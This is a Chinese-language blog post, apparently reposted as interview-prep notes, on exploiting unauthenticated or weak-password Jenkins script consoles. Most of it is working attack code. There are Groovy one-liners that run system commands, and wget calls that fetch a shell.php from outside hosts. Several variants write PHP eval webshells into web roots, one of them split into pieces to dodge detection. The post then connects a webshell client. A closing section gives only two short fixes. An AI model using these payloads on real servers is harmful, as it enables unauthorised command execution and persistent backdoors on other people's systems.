jenkins未授權訪問/弱口令漏洞


昨天晚上面試官問到了,還沒來得及看,今天又問到了,猝不及防,藍瘦,香菇、、、

今天特此總結一下,給自己一個交代。

總述:進入后台可進行如下操作:

直接執行系統命令:

println "cmd".execute().text

wget下載文件getshell:

println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text 

創建文件getshell:

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

Terminal Plugin插件直接執行命令

安裝Terminal Plugin插件即可。

漏洞描述

默認情況下Jenkins面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。

漏洞危害

Jenkins未授權訪問可執行命令,可反彈shell等等

漏洞利用

登錄/弱口令登錄
http://url:8080/manage
http://url:8080/script

登錄界面:

選擇“系統管理”

登陸后,選擇腳本命令執行:

命令執行:
println "ifconfig -a".execute().text
println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text   
獲得shell

利用”腳本命令行” 寫入webshell,內容如下:

new File("/var/www/html/media.php").write('<?php @eval($_POST[cmd]);?>');

其他寫shell方法:

① wget寫webshell
println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

②
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");

④追加法寫webshell
def execute(cmd) {
def proc =  cmd.execute()
proc.waitFor()
}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//參數-n 不要在最后自動換行

點擊“運行”,沒有報錯,上傳成功

菜刀連接即可。

Terminal Plugin

可以搜索安裝Terminal Plugin,執行命令。

漏洞修復

  • 1、禁止把Jenkins直接暴露在公網
  • 2、添加認證,設置強密碼復雜度及賬號鎖定。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM